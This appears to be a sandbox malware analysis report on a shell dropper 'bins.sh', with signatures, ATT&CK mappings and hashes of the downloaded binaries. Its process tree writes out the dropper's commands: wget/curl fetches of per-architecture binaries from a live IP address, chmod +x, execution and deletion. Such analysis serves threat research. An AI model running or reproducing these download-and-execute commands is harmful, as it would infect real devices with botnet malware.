5bb655f82a8cfd65a9c493143f26ed8b476fe487ee4c4f7faffa4167b26952e4

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_mips
resource
debian9-mipsbe-20250619-en
resource tags

arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
09/05/2026, 23:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 1KB
Sample260509-3b7ldset5y
SHA256 5bb655f82a8cfd65a9c493143f26ed8b476fe487ee4c4f7faffa4167b26952e4
MD5 0526c17f6f2fdb59e47bc6275e510377
SHA1 9d36bb7d689e9ae8f1ff857e353438ea11eaf3a7
SHA512 d4b9c15753fe90a3e0b2225c1d04a2ddcd3902ad5a6f12195c45a466b9e198a811c71f883512c92f7b18674f03c8bddc2c0d4ccb416681ea50d8b503a91219c6
TLSH
T1E54196DBA2E090B3C469ED41FB54B4C4E19D86C361FFAEBCFDA45562489900CF1B6B60
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 19 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
745	chmod
778	chmod
795	chmod
831	chmod
904	chmod
883	chmod
751	chmod
756	chmod
764	chmod
826	chmod
845	chmod
899	chmod
814	chmod
889	chmod
733	chmod
836	chmod
864	chmod
894	chmod
909	chmod

Executes dropped EXE 19 IoCs

ioc	pid	Process
/tmp/x86	735	bins.sh
/tmp/x86	746	bins.sh
/tmp/i386	752	bins.sh
/tmp/i386	757	bins.sh
/tmp/amd64	766	bins.sh
/tmp/amd64	779	bins.sh
/tmp/arm	796	bins.sh
/tmp/arm	815	bins.sh
/tmp/armv7l	827	bins.sh
/tmp/armv7l	832	bins.sh
/tmp/arm5	837	bins.sh
/tmp/arm5	846	bins.sh
/tmp/arm6	865	bins.sh
/tmp/arm6	885	bins.sh
/tmp/arm64	890	bins.sh
/tmp/arm64	895	bins.sh
/tmp/android_arm64	900	bins.sh
/tmp/android_arm64	905	bins.sh
/tmp/mips	910	bins.sh

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/mm/transparent_hugepage/hpage_pmd_size	mips

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
908	wget
910	mips

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm64	wget
File opened for modification	/tmp/amd64	curl
File opened for modification	/tmp/armv7l	wget
File opened for modification	/tmp/android_arm64	wget
File opened for modification	/tmp/i386	wget
File opened for modification	/tmp/i386	curl
File opened for modification	/tmp/amd64	wget
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/android_arm64	curl
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/armv7l	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/arm64	curl
File opened for modification	/tmp/mips	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:714
- /usr/bin/wget
  wget http://176.65.139.166/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/x86
  ./x86
  2⤵
  PID:735
- /bin/rm
  rm -f x86
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://176.65.139.166/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/x86
  ./x86
  2⤵
  PID:746
- /bin/rm
  rm -f x86
  2⤵
  PID:749
- /usr/bin/wget
  wget http://176.65.139.166/i386 -O i386
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/i386
  ./i386
  2⤵
  PID:752
- /bin/rm
  rm -f i386
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://176.65.139.166/i386
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod +x i386
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/i386
  ./i386
  2⤵
  PID:757
- /bin/rm
  rm -f i386
  2⤵
  PID:759
- /usr/bin/wget
  wget http://176.65.139.166/amd64 -O amd64
  2⤵
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/amd64
  ./amd64
  2⤵
  PID:766
- /bin/rm
  rm -f amd64
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://176.65.139.166/amd64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod +x amd64
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/amd64
  ./amd64
  2⤵
  PID:779
- /bin/rm
  rm -f amd64
  2⤵
  PID:783
- /usr/bin/wget
  wget http://176.65.139.166/arm -O arm
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/arm
  ./arm
  2⤵
  PID:796
- /bin/rm
  rm -f arm
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://176.65.139.166/arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod +x arm
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/arm
  ./arm
  2⤵
  PID:815
- /bin/rm
  rm -f arm
  2⤵
  PID:818
- /usr/bin/wget
  wget http://176.65.139.166/armv7l -O armv7l
  2⤵
  - Writes file to tmp directory
  PID:820
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:827
- /bin/rm
  rm -f armv7l
  2⤵
  PID:829
- /usr/bin/curl
  curl -O http://176.65.139.166/armv7l
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/chmod
  chmod +x armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/armv7l
  ./armv7l
  2⤵
  PID:832
- /bin/rm
  rm -f armv7l
  2⤵
  PID:834
- /usr/bin/wget
  wget http://176.65.139.166/arm5 -O arm5
  2⤵
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/arm5
  ./arm5
  2⤵
  PID:837
- /bin/rm
  rm -f arm5
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://176.65.139.166/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/arm5
  ./arm5
  2⤵
  PID:846
- /bin/rm
  rm -f arm5
  2⤵
  PID:850
- /usr/bin/wget
  wget http://176.65.139.166/arm6 -O arm6
  2⤵
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/arm6
  ./arm6
  2⤵
  PID:865
- /bin/rm
  rm -f arm6
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://176.65.139.166/arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/arm6
  ./arm6
  2⤵
  PID:885
- /bin/rm
  rm -f arm6
  2⤵
  PID:887
- /usr/bin/wget
  wget http://176.65.139.166/arm64 -O arm64
  2⤵
  - Writes file to tmp directory
  PID:888
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/arm64
  ./arm64
  2⤵
  PID:890
- /bin/rm
  rm -f arm64
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://176.65.139.166/arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/chmod
  chmod +x arm64
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/arm64
  ./arm64
  2⤵
  PID:895
- /bin/rm
  rm -f arm64
  2⤵
  PID:897
- /usr/bin/wget
  wget http://176.65.139.166/android_arm64 -O android_arm64
  2⤵
  - Writes file to tmp directory
  PID:898
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:900
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://176.65.139.166/android_arm64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/chmod
  chmod +x android_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/android_arm64
  ./android_arm64
  2⤵
  PID:905
- /bin/rm
  rm -f android_arm64
  2⤵
  PID:907
- /usr/bin/wget
  wget http://176.65.139.166/mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:908
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/mips
  ./mips
  2⤵
  - Enumerates kernel/hardware configuration
  - System Network Configuration Discovery
  PID:910

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

amd64

Path /tmp/amd64
Size 4.7MB
SHA256 a728ec777c4443d8f517fde61fcd6b8402997d85f1c076c9d3fc5ba71975f41b
MD5 93aeb82a0c809e5fd2b4984b7f273368
SHA1 3e2b4620ae8a9a8e07e3a75520e10ccc063af767
SHA512 66407af1e911148f4c1b0d7c7598e1ff12668b38551908c64aafadc277df7b9ffbce962464f9d2651f06e0547b3c0daea7544b709c69ee126b72eba92008b122
SSDEEP 49152:PD3PCIClAuQ8L12I7GbraWe5EBbSbZYZo8UxYh5a64O:mIClZQ7I7QaEY2hUZO
TLSH
T1E5363B17EC9586E8C0EAE23089629253BE717C495B3023D72F50F7392F72BD4AA79744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

android_arm64

Path /tmp/android_arm64
Size 4.9MB
SHA256 ebf34459b8f6f2cb01ffb6ee69addee09e8efb104b2bda8eef239fad57d9e0a2
MD5 75e9fe72d572c6e9b74639bdc108ec40
SHA1 7271ea2b04384a7d68311812cb420f8f3794bcfe
SHA512 28a96c6fd16f34f034f23133ec16bc8a9abd57153ce7d7f7d21cb86338460ca5e6fbde2398a2e9546cd5b66fe43b0e0bb58ff6d3608fe5aad023a243da7e473b
SSDEEP 49152:CayW6noCfpPttVqM9u5E6Kocc6ZfGjP3nBhD:ByW4oCfpPttEM9kE4ccSQ
TLSH
T10F364A9CFC2EE452DD88BAB46BA10197B735BC09DF52C7222614B76D78F33949F12260
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm

Path /tmp/arm
Size 4.6MB
SHA256 88a36e0423fda596ef8a70c8d1cf732f7b6475ff546b68c32a62abaf6bfe2984
MD5 e775f6d1b2b7aa2cf2fcee3304de2cb0
SHA1 aac36f7224e942952de059ac4b7cba0b6230fddc
SHA512 725b34dcdcd9aafd3a1acc20d30eafa3fc9f77d6626691f8d0a10f5b9398ccf12fa3095afcb8f77c0edfd5ff004264a6f5b89d371c1670355dbc3265ca0c0404
SSDEEP 24576:MZL0elvVA+6FzudFg3qehmCNGtxKr7wrauZD8p+nXsHulklqgytXxnsxOy+YOAEu:M10vIcu1FUfd4ahonyeFkOVFK
TLSH
T141261B87B8924983C4E43676B87E80C433A35EBA9B9753576D04FE3C3ABE1990E35714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 4.7MB
SHA256 cda61b3a387c7a76bd5e51674d5f421bf9a029aa6da74c1be653ec22c088b12c
MD5 b756d677f029fc9b3a47f7b68c630f7e
SHA1 3bf16ab021e006d16db8f30127baa3d3089b663f
SHA512 4dd4794c64884eac871ab98fe22d23badb63ff9b255a6ade412fb12f8f598d6b02a678d3e8ab49607d4fc865e230bd8d59208bec004005fa9cc2e9ab38e0d093
SSDEEP 24576:a63ApvHDOjZgNx2vOrfxiFpo7tGjzZlaH1Ob8W7YDRaV4NC8kJDhYC7fnjmbLOX+:aNy0DRaV4PkJolTNsJ7nJvOyT65obz
TLSH
T11D360897B8824983C4E43676B8BE80C433A35EB99B9753576D04FE3C3ABE1990E35714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 4.7MB
SHA256 339102ccb1a85d2de4b7472e5b24f10b328bdb1fdb15cf4d9c81b5dc3c996676
MD5 639e5f8ba85c978350bc2c9688f6074d
SHA1 1774b9ae8d5b835396542b47c12252c1247ab8ee
SHA512 fdef336ff586a9179cfae710548b0e376401cf0940174cce365d1530de1e10795cd1d6816f6715cce915aa9eb35a580cea3e9233105a7548d3668fa8513b1591
SSDEEP 49152:VV+w4QoJsuZbMBIn2W1pe4a0KJG1UkEK+yyroda:H+vZsIn2W1Va0Kc1DyT
TLSH
T160361A97B8824A83C4E43676B87E81C433A35EB99B9B53576D04FE3C3ABE1990D35314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm64

Path /tmp/arm64
Size 4.4MB
SHA256 3eda9cd25e467a10e6c9eeb061c20f4d7075e5d3ab91d1be59fdb7ad0087c8e8
MD5 bc62dc6688a58ccefb9e072e9cc6a0f9
SHA1 3cb127ee9235c7d02514fb38e7dfe83e3fa7cb66
SHA512 c5d91ed7072d763037fd814f63d971d76302cd85ced8802d85a5f144eb7fc46863822bc0f2247c2a2ece0bfc20fc6ae87b9328013c4f383ba3aa53aad3da8148
SSDEEP 49152:/n8CzBkAfBxJi9f5OFK+g25PAx5Ek16g+E+y:/8CFDBxJi9f5OFKZ+PcEry
TLSH
T186266CA9B81D7452EAC87EB86B2541D4B335FC49DF4183273614F7AEA9F2358CF21260
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 5.2MB
SHA256 bea2863980eedcdc57ea14a6c733e7f68ac786f1793ae52a45fc6bf5435d66f3
MD5 c13fe770b18beca497c72dd254f15b4f
SHA1 de7b95bf137e49c0f5152d62a24a21ca3e9b7897
SHA512 759e25f8b38e72918ff24b431e3979c585fd9b2e09c7a8b68a98795af7c18af802d0326bb43d89e3f2ca22dbc0b450fd86c718b1a375944c6341d6dd8c42dc5f
SSDEEP 49152:f2gr20Q9SbhXVLmmUu0QRpVwYkxcG6m6S61ndCr+QbKim0HH:eA5vnSJm0n
TLSH
T1524629236F98DB1EC628123058B2CA9567291C8A46DBA517F251F31DF9F20BC496FCF1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86

Path /tmp/x86
Size 4.6MB
SHA256 1b141165df34e7f56eeca2a18ad3d4f98a55a456e14624133cc2d79c3e531bc3
MD5 630af656ef98e4d15a5e372929307a33
SHA1 fb44cdb927c356e8e4308a79d3ecb6130a978516
SHA512 3738c8d66f6dff4edb1986cb3fb190e3c14391b0b3680dcad52d5c3e8fa621fe5c41849183854eee844d1b8543e3d8b844f3879434a07b4a076bd526564b5213
SSDEEP 49152:lpMwciYpuWQYs7FR5+Q+uvvunTcP8+pvrIW++xFzbiT/59JY2QNVEH:7Mw0BOR5+Q+uvjPM3jQkH
TLSH
T1D4262851FECB44F6E9031E3044BBA26F67315D058B29DBC7EA507F2AE9776D21932208
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads